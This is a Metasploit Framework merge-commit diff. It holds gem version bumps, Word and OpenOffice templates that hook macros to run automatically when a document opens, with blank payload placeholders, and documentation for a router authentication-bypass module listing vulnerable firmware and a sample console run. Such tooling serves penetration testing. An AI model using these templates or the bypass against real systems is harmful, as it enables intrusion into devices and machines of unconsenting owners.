Merge branch 'master' into feature/aggregator
This commit is contained in:
commit
b2ed082c75
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.19)
|
||||
metasploit-framework (4.13.25)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -14,7 +14,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.2.11)
|
||||
metasploit-payloads (= 1.2.14)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.1.7)
|
||||
msgpack
|
||||
|
@ -190,7 +190,7 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.2.11)
|
||||
metasploit-payloads (1.2.14)
|
||||
metasploit_data_models (2.0.14)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="bin" ContentType="application/vnd.ms-office.vbaProject"/><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/word/document.xml" ContentType="application/vnd.ms-word.document.macroEnabled.main+xml"/><Override PartName="/word/vbaData.xml" ContentType="application/vnd.ms-word.vbaData+xml"/><Override PartName="/word/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.styles+xml"/><Override PartName="/word/settings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.settings+xml"/><Override PartName="/word/webSettings.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.webSettings+xml"/><Override PartName="/word/fontTable.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.fontTable+xml"/><Override PartName="/word/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/extended-properties" Target="docProps/app.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/package/2006/relationships/metadata/core-properties" Target="docProps/core.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><Template>Normal.dotm</Template><TotalTime>105</TotalTime><Pages>1</Pages><Words>1</Words><Characters>10</Characters><Application>Microsoft Office Word</Application><DocSecurity>0</DocSecurity><Lines>1</Lines><Paragraphs>1</Paragraphs><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="2" baseType="variant"><vt:variant><vt:lpstr>Title</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="1" baseType="lpstr"><vt:lpstr></vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><CharactersWithSpaces>10</CharactersWithSpaces><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>15.0000</AppVersion></Properties>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:dcterms="http://purl.org/dc/terms/" xmlns:dcmitype="http://purl.org/dc/dcmitype/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><dc:title></dc:title><dc:subject></dc:subject><dc:creator>Windows User</dc:creator><cp:keywords></cp:keywords><dc:description> PAYLOADGOESHERE</dc:description><cp:lastModifiedBy>Windows User</cp:lastModifiedBy><cp:revision>32</cp:revision><dcterms:created xsi:type="dcterms:W3CDTF">2017-02-01T20:39:00Z</dcterms:created><dcterms:modified xsi:type="dcterms:W3CDTF">2017-02-02T22:26:00Z</dcterms:modified></cp:coreProperties>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.microsoft.com/office/2006/relationships/wordVbaData" Target="vbaData.xml"/></Relationships>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:document xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 wp14"><w:body><w:p w:rsidR="00A31ED0" w:rsidRDefault="00366A6C"><w:bookmarkStart w:id="0" w:name="_GoBack"/><w:bookmarkEnd w:id="0"/><w:r><w:t>DOCBODYGOESHER</w:t></w:r></w:p><w:sectPr w:rsidR="00A31ED0"><w:pgSz w:w="12240" w:h="15840"/><w:pgMar w:top="1440" w:right="1440" w:bottom="1440" w:left="1440" w:header="720" w:footer="720" w:gutter="0"/><w:cols w:space="720"/><w:docGrid w:linePitch="360"/></w:sectPr></w:body></w:document>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:fonts xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:font w:name="Calibri"><w:panose1 w:val="020F0502020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="E10002FF" w:usb1="4000ACFF" w:usb2="00000009" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font><w:font w:name="Times New Roman"><w:panose1 w:val="02020603050405020304"/><w:charset w:val="00"/><w:family w:val="roman"/><w:pitch w:val="variable"/><w:sig w:usb0="E0002AFF" w:usb1="C0007841" w:usb2="00000009" w:usb3="00000000" w:csb0="000001FF" w:csb1="00000000"/></w:font><w:font w:name="Calibri Light"><w:panose1 w:val="020F0302020204030204"/><w:charset w:val="00"/><w:family w:val="swiss"/><w:pitch w:val="variable"/><w:sig w:usb0="A00002EF" w:usb1="4000207B" w:usb2="00000000" w:usb3="00000000" w:csb0="0000019F" w:csb1="00000000"/></w:font></w:fonts>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:settings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:sl="http://schemas.openxmlformats.org/schemaLibrary/2006/main" mc:Ignorable="w14 w15"><w:zoom w:percent="100"/><w:proofState w:spelling="clean" w:grammar="clean"/><w:defaultTabStop w:val="720"/><w:characterSpacingControl w:val="doNotCompress"/><w:compat><w:compatSetting w:name="compatibilityMode" w:uri="http://schemas.microsoft.com/office/word" w:val="15"/><w:compatSetting w:name="overrideTableStyleFontSizeAndJustification" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="enableOpenTypeFeatures" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="doNotFlipMirrorIndents" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/><w:compatSetting w:name="differentiateMultirowTableHeaders" w:uri="http://schemas.microsoft.com/office/word" w:val="1"/></w:compat><w:rsids><w:rsidRoot w:val="0075759D"/><w:rsid w:val="000446F5"/><w:rsid w:val="00364989"/><w:rsid w:val="00366A6C"/><w:rsid w:val="003925D3"/><w:rsid w:val="00472204"/><w:rsid w:val="004929CB"/><w:rsid w:val="004937C6"/><w:rsid w:val="004E70C7"/><w:rsid w:val="00556042"/><w:rsid w:val="005C1470"/><w:rsid w:val="00634AFC"/><w:rsid w:val="0075759D"/><w:rsid w:val="008352C1"/><w:rsid w:val="008D18EE"/><w:rsid w:val="008F274A"/><w:rsid w:val="009337EB"/><w:rsid w:val="00965754"/><w:rsid w:val="00A31ED0"/><w:rsid w:val="00AA0D43"/><w:rsid w:val="00BD14BB"/><w:rsid w:val="00C22BA6"/><w:rsid w:val="00D4037B"/><w:rsid w:val="00DD6E1E"/><w:rsid w:val="00E636EA"/></w:rsids><m:mathPr><m:mathFont m:val="Cambria Math"/><m:brkBin m:val="before"/><m:brkBinSub m:val="--"/><m:smallFrac m:val="0"/><m:dispDef/><m:lMargin m:val="0"/><m:rMargin m:val="0"/><m:defJc m:val="centerGroup"/><m:wrapIndent m:val="1440"/><m:intLim m:val="subSup"/><m:naryLim m:val="undOvr"/></m:mathPr><w:themeFontLang w:val="en-US"/><w:clrSchemeMapping w:bg1="light1" w:t1="dark1" w:bg2="light2" w:t2="dark2" w:accent1="accent1" w:accent2="accent2" w:accent3="accent3" w:accent4="accent4" w:accent5="accent5" w:accent6="accent6" w:hyperlink="hyperlink" w:followedHyperlink="followedHyperlink"/><w:shapeDefaults><o:shapedefaults v:ext="edit" spidmax="1026"/><o:shapelayout v:ext="edit"><o:idmap v:ext="edit" data="1"/></o:shapelayout></w:shapeDefaults><w:decimalSymbol w:val="."/><w:listSeparator w:val=","/><w15:chartTrackingRefBased/><w15:docId w15:val="{0E28A8EC-7E3E-41BD-9D1E-ADE8B995AEE4}"/></w:settings>
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<wne:vbaSuppData xmlns:wpc="http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas" xmlns:cx="http://schemas.microsoft.com/office/drawing/2014/chartex" xmlns:cx1="http://schemas.microsoft.com/office/drawing/2015/9/8/chartex" xmlns:cx2="http://schemas.microsoft.com/office/drawing/2015/10/21/chartex" xmlns:cx3="http://schemas.microsoft.com/office/drawing/2016/5/9/chartex" xmlns:cx4="http://schemas.microsoft.com/office/drawing/2016/5/10/chartex" xmlns:cx5="http://schemas.microsoft.com/office/drawing/2016/5/11/chartex" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:m="http://schemas.openxmlformats.org/officeDocument/2006/math" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:wp14="http://schemas.microsoft.com/office/word/2010/wordprocessingDrawing" xmlns:wp="http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing" xmlns:w10="urn:schemas-microsoft-com:office:word" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" xmlns:w16se="http://schemas.microsoft.com/office/word/2015/wordml/symex" xmlns:wpg="http://schemas.microsoft.com/office/word/2010/wordprocessingGroup" xmlns:wpi="http://schemas.microsoft.com/office/word/2010/wordprocessingInk" xmlns:wne="http://schemas.microsoft.com/office/word/2006/wordml" xmlns:wps="http://schemas.microsoft.com/office/word/2010/wordprocessingShape" mc:Ignorable="w14 w15 w16se wp14"><wne:mcds><wne:mcd wne:macroName="PROJECT.NEWMACROS.AUTOOPEN" wne:name="Project.NewMacros.AutoOpen" wne:bEncrypt="00" wne:cmg="56"/></wne:mcds></wne:vbaSuppData>
|
Binary file not shown.
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
<w:webSettings xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main" xmlns:w14="http://schemas.microsoft.com/office/word/2010/wordml" xmlns:w15="http://schemas.microsoft.com/office/word/2012/wordml" mc:Ignorable="w14 w15"><w:optimizeForBrowser/><w:relyOnVML/><w:allowPNG/></w:webSettings>
|
|
@ -0,0 +1,6 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE script:module PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "module.dtd">
|
||||
<script:module xmlns:script="http://openoffice.org/2000/script" script:name="Module1" script:language="StarBasic">REM ***** BASIC *****
|
||||
|
||||
CODEGOESHERE
|
||||
</script:module>
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:library PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "library.dtd">
|
||||
<library:library xmlns:library="http://openoffice.org/2000/library" library:name="Standard" library:readonly="false" library:passwordprotected="false">
|
||||
<library:element library:name="Module1"/>
|
||||
</library:library>
|
|
@ -0,0 +1,5 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE library:libraries PUBLIC "-//OpenOffice.org//DTD OfficeDocument 1.0//EN" "libraries.dtd">
|
||||
<library:libraries xmlns:library="http://openoffice.org/2000/library" xmlns:xlink="http://www.w3.org/1999/xlink">
|
||||
<library:library library:name="Standard" library:link="false"/>
|
||||
</library:libraries>
|
|
@ -0,0 +1,15 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0" manifest:version="1.2">
|
||||
<manifest:file-entry manifest:media-type="application/vnd.oasis.opendocument.text" manifest:version="1.2" manifest:full-path="/"/>
|
||||
<manifest:file-entry manifest:media-type="" manifest:full-path="Configurations2/accelerator/current.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/vnd.sun.xml.ui.configuration" manifest:full-path="Configurations2/"/>
|
||||
<manifest:file-entry manifest:media-type="image/png" manifest:full-path="Thumbnails/thumbnail.png"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/script-lb.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/Standard/Module1.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="Basic/script-lc.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="settings.xml"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>
|
||||
<manifest:file-entry manifest:media-type="application/rdf+xml" manifest:full-path="manifest.rdf"/>
|
||||
<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>
|
||||
</manifest:manifest>
|
Binary file not shown.
After Width: | Height: | Size: 728 B |
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-content xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:textooo="http://openoffice.org/2013/office" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" office:version="1.2"><office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:Standard.Module1.OnLoad?language=Basic&location=document" xlink:type="simple"/></office:event-listeners></office:scripts><office:font-face-decls><style:font-face style:name="Mangal1" svg:font-family="Mangal"/><style:font-face style:name="Times New Roman" svg:font-family="'Times New Roman'" style:font-family-generic="roman" style:font-pitch="variable"/><style:font-face style:name="Arial" svg:font-family="Arial" style:font-family-generic="swiss" style:font-pitch="variable"/><style:font-face style:name="Mangal" svg:font-family="Mangal" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="Microsoft YaHei" svg:font-family="'Microsoft YaHei'" style:font-family-generic="system" style:font-pitch="variable"/><style:font-face style:name="SimSun" svg:font-family="SimSun" style:font-family-generic="system" style:font-pitch="variable"/></office:font-face-decls><office:automatic-styles/><office:body>DOCBODYGOESHER<office:text><text:sequence-decls><text:sequence-decl text:display-outline-level="0" text:name="Illustration"/><text:sequence-decl text:display-outline-level="0" text:name="Table"/><text:sequence-decl text:display-outline-level="0" text:name="Text"/><text:sequence-decl text:display-outline-level="0" text:name="Drawing"/></text:sequence-decls><text:p text:style-name="Standard"/></office:text></office:body></office:document-content>
|
|
@ -0,0 +1,18 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
|
||||
<rdf:Description rdf:about="styles.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#StylesFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="styles.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="content.xml">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/odf#ContentFile"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<ns0:hasPart xmlns:ns0="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#" rdf:resource="content.xml"/>
|
||||
</rdf:Description>
|
||||
<rdf:Description rdf:about="">
|
||||
<rdf:type rdf:resource="http://docs.oasis-open.org/ns/office/1.2/meta/pkg#Document"/>
|
||||
</rdf:Description>
|
||||
</rdf:RDF>
|
|
@ -0,0 +1,2 @@
|
|||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<office:document-meta xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:textooo="http://openoffice.org/2013/office" office:version="1.2"><office:meta><meta:initial-creator>sinn3r </meta:initial-creator><meta:creation-date>2017-02-06T15:15:47.35</meta:creation-date><dc:date>2017-02-06T15:21:59.64</dc:date><dc:creator>sinn3r </dc:creator><meta:editing-duration>PT4M16S</meta:editing-duration><meta:editing-cycles>2</meta:editing-cycles><meta:generator>OpenOffice/4.1.3$Win32 OpenOffice.org_project/413m1$Build-9783</meta:generator><meta:document-statistic meta:table-count="0" meta:image-count="0" meta:object-count="0" meta:page-count="1" meta:paragraph-count="0" meta:word-count="0" meta:character-count="0"/></office:meta></office:document-meta>
|
|
@ -0,0 +1 @@
|
|||
application/vnd.oasis.opendocument.text
|
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,121 @@
|
|||
## Vulnerable devices
|
||||
|
||||
The following devices and firmware versions are known to be vulnerable:
|
||||
|
||||
* Azmoon AZ-D140W - 2.11.89.0(RE2.C29)3.11.11.52_PMOFF.1
|
||||
* Billion BiPAC 5102S - Av2.7.0.23 (UE0.B1C)
|
||||
* Billion BiPAC 5102S - Bv2.7.0.23 (UE0.B1C)
|
||||
* Billion BiPAC 5200 - 2.11.84.0(UE2.C2)3.11.11.6
|
||||
* Billion BiPAC 5200 - 2_11_62_2_ UE0.C2D_3_10_16_0
|
||||
* Billion BiPAC 5200A - 2_10_5 _0(RE0.C2)3_6_0_0
|
||||
* Billion BiPAC 5200A - 2_11_38_0 (RE0.C29)3_10_5_0
|
||||
* Billion BiPAC 5200GR4 - 2.11.91.0(RE2.C29)3.11.11.52
|
||||
* Billion BiPAC 5200SRD - 2.10.5.0 (UE0.C2C) 3.6.0.0
|
||||
* Billion BiPAC 5200SRD - 2.12.17.0_UE2.C3_3.12.17.0
|
||||
* Billion BiPAC 5200SRD - 2_11_62_2(UE0.C3D)3_11_11_22
|
||||
* D-Link DSL-2520U - Z1 1.08 DSL-2520U_RT63261_Middle_East_ADSL
|
||||
* D-Link DSL-2600U - Z1_DSL-2600U
|
||||
* D-Link DSL-2600U - Z2_V1.08_ras
|
||||
* TP-Link TD-8616 - V2_080513
|
||||
* TP-Link TD-8816 - V4_100528_Russia
|
||||
* TP-Link TD-8816 - V4_100524
|
||||
* TP-Link TD-8816 - V5_100528_Russia
|
||||
* TP-Link TD-8816 - V5_100524
|
||||
* TP-Link TD-8816 - V5_100903
|
||||
* TP-Link TD-8816 - V6_100907
|
||||
* TP-Link TD-8816 - V7_111103
|
||||
* TP-Link TD-8816 - V7_130204
|
||||
* TP-Link TD-8817 - V5_100524
|
||||
* TP-Link TD-8817 - V5_100702_TR
|
||||
* TP-Link TD-8817 - V5_100903
|
||||
* TP-Link TD-8817 - V6_100907
|
||||
* TP-Link TD-8817 - V6_101221
|
||||
* TP-Link TD-8817 - V7_110826
|
||||
* TP-Link TD-8817 - V7_130217
|
||||
* TP-Link TD-8817 - V7_120509
|
||||
* TP-Link TD-8817 - V8_140311
|
||||
* TP-Link TD-8820 - V3_091223
|
||||
* TP-Link TD-8840T - V1_080520
|
||||
* TP-Link TD-8840T - V2_100525
|
||||
* TP-Link TD-8840T - V2_100702_TR
|
||||
* TP-Link TD-8840T - V2_090609
|
||||
* TP-Link TD-8840T - V3_101208
|
||||
* TP-Link TD-8840T - V3_110221
|
||||
* TP-Link TD-8840T - V3_120531
|
||||
* TP-Link TD-W8101G - V1_090107
|
||||
* TP-Link TD-W8101G - V1_090107
|
||||
* TP-Link TD-W8101G - V2_100819
|
||||
* TP-Link TD-W8101G - V2_101015_TR
|
||||
* TP-Link TD-W8101G - V2_101101
|
||||
* TP-Link TD-W8101G - V3_110119
|
||||
* TP-Link TD-W8101G - V3_120213
|
||||
* TP-Link TD-W8101G - V3_120604
|
||||
* TP-Link TD-W8151N - V3_120530
|
||||
* TP-Link TD-W8901G - V1_080522
|
||||
* TP-Link TD-W8901G - V1,2_080522
|
||||
* TP-Link TD-W8901G - V2_090113_Turkish
|
||||
* TP-Link TD-W8901G - V3_140512
|
||||
* TP-Link TD-W8901G - V3_100603
|
||||
* TP-Link TD-W8901G - V3_100702_TR
|
||||
* TP-Link TD-W8901G - V3_100901
|
||||
* TP-Link TD-W8901G - V6_110119
|
||||
* TP-Link TD-W8901G - V6_110915
|
||||
* TP-Link TD-W8901G - V6_120418
|
||||
* TP-Link TD-W8901G - V6_120213
|
||||
* TP-Link TD-W8901GB - V3_100727
|
||||
* TP-Link TD-W8901GB - V3_100820
|
||||
* TP-Link TD-W8901N - V1_111211
|
||||
* TP-Link TD-W8951ND - V1_101124,100723,100728
|
||||
* TP-Link TD-W8951ND - V1_110907
|
||||
* TP-Link TD-W8951ND - V1_111125
|
||||
* TP-Link TD-W8951ND - V3.0_110729_FI
|
||||
* TP-Link TD-W8951ND - V3_110721
|
||||
* TP-Link TD-W8951ND - V3_20110729_FI
|
||||
* TP-Link TD-W8951ND - V4_120511
|
||||
* TP-Link TD-W8951ND - V4_120607
|
||||
* TP-Link TD-W8951ND - V4_120912_FL
|
||||
* TP-Link TD-W8961NB - V1_110107
|
||||
* TP-Link TD-W8961NB - V1_110519
|
||||
* TP-Link TD-W8961NB - V2_120319
|
||||
* TP-Link TD-W8961NB - V2_120823
|
||||
* TP-Link TD-W8961ND - V1_100722,101122
|
||||
* TP-Link TD-W8961ND - V1_101022_TR
|
||||
* TP-Link TD-W8961ND - V1_111125
|
||||
* TP-Link TD-W8961ND - V2_120427
|
||||
* TP-Link TD-W8961ND - V2_120710_UK
|
||||
* TP-Link TD-W8961ND - V2_120723_FI
|
||||
* TP-Link TD-W8961ND - V3_120524,120808
|
||||
* TP-Link TD-W8961ND - V3_120830
|
||||
* ZyXEL P-660R-T3 - 3.40(BOQ.0)C0
|
||||
* ZyXEL P-660RU-T3 - 3.40(BJR.0)C0
|
||||
|
||||
## Module usage
|
||||
|
||||
This is an example run against TP-Link TD-8817 router:
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/http/allegro_rompager_auth_bypass
|
||||
msf auxiliary(allegro_rompager_auth_bypass) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/allegro_rompager_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
|
||||
RHOST 192.168.1.1 yes The target address
|
||||
RPORT 80 yes The target port
|
||||
SSL false no Negotiate SSL/TLS for outgoing connections
|
||||
TARGETURI / yes URI to test
|
||||
VHOST no HTTP server virtual host
|
||||
|
||||
|
||||
msf auxiliary(allegro_rompager_auth_bypass) > set rhost 192.168.1.1
|
||||
rhost => 192.168.1.1
|
||||
msf auxiliary(allegro_rompager_auth_bypass) > run
|
||||
|
||||
